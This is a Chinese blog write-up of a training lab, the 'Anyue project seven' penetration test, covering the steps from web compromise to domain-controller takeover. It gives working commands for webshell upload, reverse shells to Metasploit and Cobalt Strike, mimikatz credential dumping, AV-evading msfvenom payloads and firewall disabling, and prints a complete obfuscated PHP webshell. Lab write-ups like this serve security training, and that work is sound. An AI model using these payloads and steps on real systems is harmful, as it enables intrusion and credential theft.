Write-Up - [渗透测试] 记一次暗月2020最新渗透测试项目七的内网渗透

已于 2023-09-25 03:42:23 修改
阅读量443 收藏 1
点赞数
分类专栏： 内网渗透 文章标签： web安全 网络安全 系统安全 笔记 安全
于 2023-09-25 03:34:57 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_54517170/article/details/133259403
版权

Author：一条’小龍龙

Team：Traceless 网络安全团队

Data：2023/9/23

Description：暗月2020最新渗透测试项目七的内网渗透

环境配置

环境地址

链接：https://pan.baidu.com/s/1GbrW9l0lv22mh7BfltUPfA
提取码：long

靶场拓扑图

在这里插入图片描述
在这里插入图片描述

任务目标

最终目标即获取域控中的flag.txt文件内容

准备工作

1.将攻击机中的hosts文件中配置靶机域名解析（IP为靶机IP）

www.moonlab.com	192.168.3.30

2.三台靶机都需要登录一遍（用本地账户和域账户登录），这样后期猕猴桃才能抓取到账户密码hash

Write-Up

step 1 信息收集 - web

在排除其他非环境内的设备的IP后，确定靶机的IP地址

本机IP地址为 192.168.3.27

请添加图片描述

扫描内网主机设备 确定web靶机的IP

nmap -T4 -sn 192.168.3.0/24 --min-rate 100

在这里插入图片描述

扫描后得知，靶机IP为192.168.3.30

扫描开放的端口信息

nmap -T4 -sV 192.168.3.30 -p 1-65535

在这里插入图片描述

深度扫描该靶机的详细信息

nmap -T4 -sV -sC -A 192.168.3.30 -p 21,80,999,5985,6585 -oA attack-ports

在这里插入图片描述

访问robots.txt文件

在这里插入图片描述

访问SiteServer目录 发现跳转至登录页面

请添加图片描述

step 2 渗透测试 - web

因为网站装有防护软件，所以尽量不要爆破

在当前登陆界面，我们发现会有一个忘记密码的选项

我们通过该选项，看是否会有逻辑漏洞（如密码找回逻辑存在漏洞），通过该漏洞从而获取或修改用户密码

在这里插入图片描述

打开BurpSuite，等待抓包

猜测用户名为admin，点击下一步

在这里插入图片描述

在这里插入图片描述

将抓到的包放掉

在这里插入图片描述

随便输入一下，下一步

在这里插入图片描述

发现Answer=123该传参键值对，把123删掉后放包

在这里插入图片描述

在这里插入图片描述

此时，我们看到了页面出现了账号密码。说明该处存在账号密码找回逻辑漏洞

利用该账号密码，我们成功登陆了后台

step 3 上传webshell并连接 - web

一般来说，登陆后台后，首先就要看看有没有地方能上传文件，然后想尽办法上传webshell。或者找到能够修改网页内容的地方，添加上webshell即可。

这里，我们新建模板文件，在文件中写入webshell即可

在显示管理 --> 模板管理中，新建单页模板

在这里插入图片描述

内容如下

在这里插入图片描述

保存后 即可看到新加的webshell模板

在这里插入图片描述

点击模板名称webshell，即可跳转至改模板的URL地址

用冰蝎输入地址及密码即可连接

在这里插入图片描述

连接成功后如下所示

在这里插入图片描述

step 4 利用冰蝎反弹shell给MSF - web

我们点击反弹shell功能 输入以下内容

在这里插入图片描述

打开msf，进行一下操作

在这里插入图片描述
在这里插入图片描述

此时，我们在冰蝎 反弹shell 模块处点击 给我连

在这里插入图片描述

此时连接成功

step 5 提权与进程迁移 - web

获取相关信息

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在获取系统权限后，我们对其进行了信息收集

得知了系统是64位，相关版本及补丁，IP地址等信息

查看ps进程

在这里插入图片描述

迁移到64位进程 并加载猕猴桃插件

migrate 780
load kiwi

在这里插入图片描述

step 6 利用猕猴桃获取系统账户hash - web

查看主机中有哪些用户

run post/windows/gather/enum_logged_on_users
creds_all

在这里插入图片描述
在这里插入图片描述

通过 creds_all我们得知了administrator账号的密码为!@#QWE123

step 7 MSF转CS

CS端

启动CS服务器

在这里插入图片描述

启动CS客户端

在这里插入图片描述

输入服务器IP、端口、账号及密码后，点击连接

新建监听器

在这里插入图片描述
在这里插入图片描述

MSF端

bg
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.3.27		//CS服务器地址
set LPORT 10000		//随意设置监听端口，需要和cs保持一致
set session 1	//设置需要用的SESSION
set DisablePayloadHandler true    //禁止产生一个新的handler
run

在这里插入图片描述

CS 上线

在这里插入图片描述

在这里插入图片描述

会话间隔设置为1

在会话交互中执行以下命令获取管理员密码hash明文

hashdump	
logonpasswords

在这里插入图片描述

在这里插入图片描述

密码凭证处可以看到账号密码

在这里插入图片描述

step 8 添加路由并对内网主机进行探测

查看session，并回到192.168.3.30的主机控制台

在这里插入图片描述

添加路由

run post/multi/manage/autoroute
bg
route print

在这里插入图片描述

扫描内网10.10.1.0/24网段中存活的主机

use auxiliary/scanner/discovery/udp_sweep
set rhost 10.10.1.2-254 
run

在这里插入图片描述

发现主机10.10.1.130 还有一种方式可以通过arp获取

在这里插入图片描述

step 9 设置socks5代理并通过代理进行相关操作

设置socks5代理

use auxiliary/server/socks_proxy
set srvhost 0.0.0.0
set srvport 1080
run

在这里插入图片描述

配置 proxychains代理

在这里插入图片描述

使用代理扫描端口开放信息（扫了两次结果都一样，估计是有防火墙）

在这里插入图片描述

目标机禁用ping，绕过ping 进行特定端口扫描

proxychains nmap -sT -Pn 10.10.1.130 -p 21,22,80,443,445,135,110,3389 --min-rate 1000 --open

在这里插入图片描述

在这里插入图片描述

发现目前只能看到80端口开放了

edge浏览器配置SwitchyOmega扩展如下

在这里插入图片描述

应用该代理设置后即可访问

在这里插入图片描述

step 10 漏洞探测与利用 - oa

根据网页标题可知这个是通达OA网络智能办公系统，我们查找相关CMS漏洞

RCE利用工具地址

https://github.com/Al1ex/TongDa-RCE

proxychains python tongda_rce.py http://10.10.1.130

在这里插入图片描述

proxychains python tongda_shell.py http://10.10.1.130

在这里插入图片描述

用蚁剑连接失败，应该是被防火墙杀了

无妨，我们看看tongda_shell.py源码 给它修改一下

在这里插入图片描述

这里把base64解密后，写入到了404.php文件中

我们新建一个冰蝎的webshell php文件

在这里插入图片描述

把生成的文件内容复制一下

<?php @error_reporting(0);session_start();$key="1a1dc91c907325c6";$_SESSION['k']=$key;$f='file'.'_get'.'_contents';$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);$H2C51=$f($p);if(!extension_loaded('openssl')){ $t=preg_filter('/\s+/','','base 64 _ deco de');$H2C51=$t($H2C51."");for($i=0;$i<strlen($H2C51);$i++) { $new_key = $key[$i+1&15];$H2C51[$i] = $H2C51[$i] ^ $new_key;}	}else{ $H2C51=openssl_decrypt($H2C51, "AES128", $key);}$arr=explode('|',$H2C51);$func=$arr[0];$params=$arr[1];class G1350V58{ public function __invoke($p) {@eval("/*Z4M14g6s68*/".$p."");}}@call_user_func/*Z4M14g6s68*/(new G1350V58(),$params);?>

打开编码工具对其进行base64加密

在这里插入图片描述

把加密后的内容跟之前的内容进行替换

在这里插入图片描述

再次运行后，使用冰蝎连接（密码是我们自己设的 pass）

在这里插入图片描述
在这里插入图片描述

连接成功 可以看到我们当前为系统权限，无需提权

在这里插入图片描述

step 11 信息收集 - oa

查看系统信息
在这里插入图片描述

net start #查看启动的服务

在这里插入图片描述

在这里插入图片描述

tasklist /svc	#开启的进程

在这里插入图片描述

ipconfig /all

在这里插入图片描述

在这里插入图片描述

netstat -ano

在这里插入图片描述

信息整理

oa服务器所在域为 attack.local

双网卡，两个IP分别为10.10.1.130和10.10.10.166

当前身份权限为system权限

存在安全防护软件，如 360 安全卫士，360 杀毒软件，windows firewall 等

step 12 免杀

上线前先kill Windows防火墙

NetSh Advfirewall set allprofiles state off

在这里插入图片描述

然后我们再指定扫描一下开放端口信息 之前110是扫不到的，现在可以了

在这里插入图片描述

制作MSF免杀木马

msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -e x86/shikata_ga_nai -i 15 -f csharp -o payload_bind.txt

在这里插入图片描述

打开生成后的shellcode复制一下

用掩杀2.0免杀生成exe可执行程序

在这里插入图片描述

将生成好的木马axr.exe并上传至目标主机C:\目录下

在这里插入图片描述

step 13 MSF、CS上线 - oa

打开MSF

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.1.130
set lport 5555
exploit

在这里插入图片描述

在冰蝎终端运行木马

在这里插入图片描述
在这里插入图片描述

MSF上线后，查看进程

getuid
ps
migrate 1964 (64位进程pid)
load kiwi 加载猕猴桃插件
creds_all

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

添加路由

run autoroute -s 10.10.10.0/24
run autoroute -p

在这里插入图片描述

上线CS

新建监听器oa 端口自定义

在这里插入图片描述

生成Windows 可执行程序（Stageless）

在这里插入图片描述

选择监听器oa 生成即可

在这里插入图片描述

在这里插入图片描述

MSF上传木马程序到目标主机C盘根目录下

在这里插入图片描述

进入shell，执行CS木马

在这里插入图片描述

CS端 点击会话交互

在这里插入图片描述

在下方beacon>处输入

connect 10.10.1.130 10001

在这里插入图片描述

CS成功上线

在这里插入图片描述

step 14 信息收集 - oa

查看网卡/IP

在这里插入图片描述

在这里插入图片描述

两个网卡，分别为10.10.1.130和10.10.10.166

发现该主机存在域

在这里插入图片描述

存在域attack

run post/windows/gather/enum_domain

在这里插入图片描述

run post/windows/gather/enum_logged_on_users		#登陆域的用户信息

在这里插入图片描述

net domain_controllers

在这里插入图片描述

查看DC 3389端口开放情况

在这里插入图片描述

step 15 查看hash密码

在这里插入图片描述

CS端抓取hash、明文，查看密码凭证

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

OA 账号为administrator，密码为!@#Q123

ATTACK账号位administrator，密码为!@#QWEasd123.

step 16 设置代理远程控制DC

在 proxifier上配置代理服务器

在这里插入图片描述

设置代理规则

在这里插入图片描述

打开cmd输入mstsc回车

输入IP地址10.10.1.130回车

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

拿下域控！

在这里插入图片描述

查看flag

在这里插入图片描述

flag is flag{moon-a81c3d94aa192d3f87ed9f2fffec04fc}
在这里插入图片描述

一条小龍龙
关注
专栏目录
中国移动关于WEB应用渗透|Writeup
小贱
05-12 2174
0X01  SQL注入 首先拿到的是一个虚拟机文件，打开虚拟机发现网站已经部署好了，然后打开网站发现是一个在线商城平台。 把url扔给namap扫描了下得到详细信息，可以看到服务器、开放的端口等信息，再用awvs扫，得到三处可能的sql注入点，决定进行手工SQL注入，发现/shop/login.Asp有报错回显。 构造payload 1' and 1=convert(i
渗透测试 ( 5 ) --- 扫描之王 nmap、渗透测试工具实战技巧合集
墨鱼菜鸡
07-11 5734
Nmap 官方文档 ( 中文文档是 Nmap 版本4.50，英文文档是最新的)： 英文文档：https://nmap.org/book/man.html中文文档：https://nmap.org/man/zh/index.html#man-description官方 Nmap 项目指南：https://nmap.org/book/toc.html ...
暗月内网渗透实战——项目七
DG_s1mple
02-09 2750
这一次的内网渗透让我学到了很多新的东西，中间也遇到了很多的困难，不会的地方，不过好在网上有很多大佬已经做过writeup了，让我这个菜鸡不至于卡死现在把整个流程都写下来吧
bugku渗透测试1-writeup
最新发布
vsdfbhsdhsdfh的博客
06-20 638
十三、使用fscan对内网进行扫描，发现192.168.0.1有shiro并发现了key 发现192.168.0.4有thinkphp漏洞。六、发现了临时的php文件，原理为用户写入的php代码会在网站的根目录生成临时文件、我们通过抓包找到了这个文件。十五、在home目录下有flag还有一个在robots.txtz中。七、直接上传木马，在目录发现flag，同时提示我们要提权。十七、在网站根目录下发现flag、提示数据库也有一个。五、同时在前台发现可以执行php代码的界面。八、连接数据库、获取flag。
暗月内网靶场渗透笔记
Ba1_Ma0的博客
05-13 2289
暗月内网靶场渗透笔记
​某内网域渗透靶场的writeup
Ms08067安全实验室
12-14 2662
前言：本靶场是由"渗透攻击红队"所制作的一个靶场,看了看感觉效果十分不错,比较综合且有一定的思路扩展性.这里我们将会从别的一些角度来玩玩这个靶场,具体往下看。源作者的wp:https://mp.weixin.qq.com/s/dcYbIfLwN-Aw0Z9XxQSGkQKeep moving1.本文采用 HTB/OSCP 的 Offensive style, 脱离CS, msf (msfvenom...
内网渗透思路学习——靶场实战——暗月项目七
qq_45612828的博客
08-17 6788
内网渗透思路学习——靶场实战——暗月项目七。学习一下内网渗透中的一些攻击思路和技巧（比如常见的横向、纵向渗透、代理穿透、提权、免杀等等）
渗透测试 ( 3 ) --- Metasploit Framework ( MSF )
墨鱼菜鸡
07-11 4487
白嫖 Metasploit Pro 2022：https://zhuanlan.zhihu.com/p/449836479 白嫖 Metasploit Pro 2022：http://t.zoukankan.com/hxlinux-p-15787814.html 好东西之 metasploit pro：https://www.52pojie.cn/thr...
web安全攻防渗透测试实战指南
weixin_67846882的博客
04-07 4993
1.Nmap的基本 Nmap + ip 6+ ip Nmap -A 开启操作系统识别和版本识别功能 – T（0-6档） 设置扫描的速度 一般设置T4 过快容易被发现 -v 显示信息的级别，-vv显示更详细的信息 192.168.1.1/24 扫描C段 192.168.11 -254 =上 nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中) --------------- 192.168.1.1/24 --exclude 19...
Web安全攻防渗透测试实战指南笔记 三
Ren59421的博客
04-05 8015
第二章 2.1 在Linux系统中安装LANMP LANMP是Linux下Apache、Nginx、MySQL和PHP的应用环境，本节演示的是WDLinux的一款集成的安装包。 首先，下载需要的安装包，命令如下所示。 wegt http://dl.wdlinux.cn/files/lanmp_v3.tar.gz 下载完成后进行解压，解压文件的命令为tar zxvf lanmp_v3.tar.gz，运行环境如下图所示。 输入sh lanmp.sh命令运行LANMP，这时程...
网络安全渗透
李子木的博客
04-04 8585
Sqlmap简介 sqlmap是一种开源的渗透测试工具，可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试神器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。 支持的数据库：MySQL，Oracle, PostgreSQL, SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。 Sqlmap安装 （1）安装sqlmap前，需要.
暗月教程的学习笔记（上）.txt
05-18
分享下笔记对暗月的教程的文字概括： 第一课：脚本渗透的概述 第二课：对一些注入工具的使用的一些简单的讲解 第三课：网站编辑器eWebeditor的漏洞利用。
完整的内网域渗透-暗月培训之项目六1
08-03
1. 环境介绍3 2. 信息收集3 3. 对网站进行安全检测4 5. 跨网段域渗透15
渗透课程笔记
zzz_781111的专栏
07-24 1232
由于仅仅是听课笔记，错漏均会有，原理是正确的 1.环境 主机1 192.168.0.101 1)win2003操作系统 2)开启apache+mysql+php+wordpress  其中 apache以低权限用户webmaster运行，使用端口80 wordpress暴露漏洞形式如下 XXX.php $path_array = array( "xxxpath" => "../.
网站综合渗透实验 writeup
3569
07-30 2458
感受 ，做这些实验主要难点我感觉就是上传webshell 了，他插入shell的姿势让我防不胜防，这里插那里插，上一个实验还需要闭合引号，这个实验不用闭合引号，上个实验路径比较简单，这个实验路径比较复杂，尤其是 bear.asp的文件是数据库文件 … 想了好久才想通，到底为什么不用闭合引号 … 为什么路径是/db/bear.asp … 上传sehll有两种方法，都学习了是不吃亏的哦 ~实验过程 ：
暗月渗透测试项目-五（上）
高高同学
01-30 5283
暗月渗透测试项目-五（上）
2021暗月web渗透测试攻防全栈红队视频教程网络安全程师ctf学习
q1409124704的博客
02-23 6791
2021暗月web渗透测试攻防全栈红队视频教程网络安全程师ctf学习
【暗月内网靶场】项目七（不那么简单的内网靶场）
人间体佐菲的博客
03-17 1436
暗月，渗透测试，网络安全
暗月渗透实战靶场-项目七（下）
高高同学
01-30 1640
00x6-踏进内网 上面我们已经拿到了外网机器的adminstrstor的用户权限 对内网进行信息搜集 密码获取 hashdump logonpasswords 上面我们已经知道这个目标机是开启了3389端口的、 连接3389 小插曲 如果连接Windows server 2016出现这个报错 解决 连接 成功 任务 清除痕迹、关闭安全狗、Windows Defeder在前面我们已经完全的关闭了 跨网段信息搜集 查看arp信息 arp -a 内网扫描 内网IP扫描 这里使用的是目标机1的隧道
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一条小龍龙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值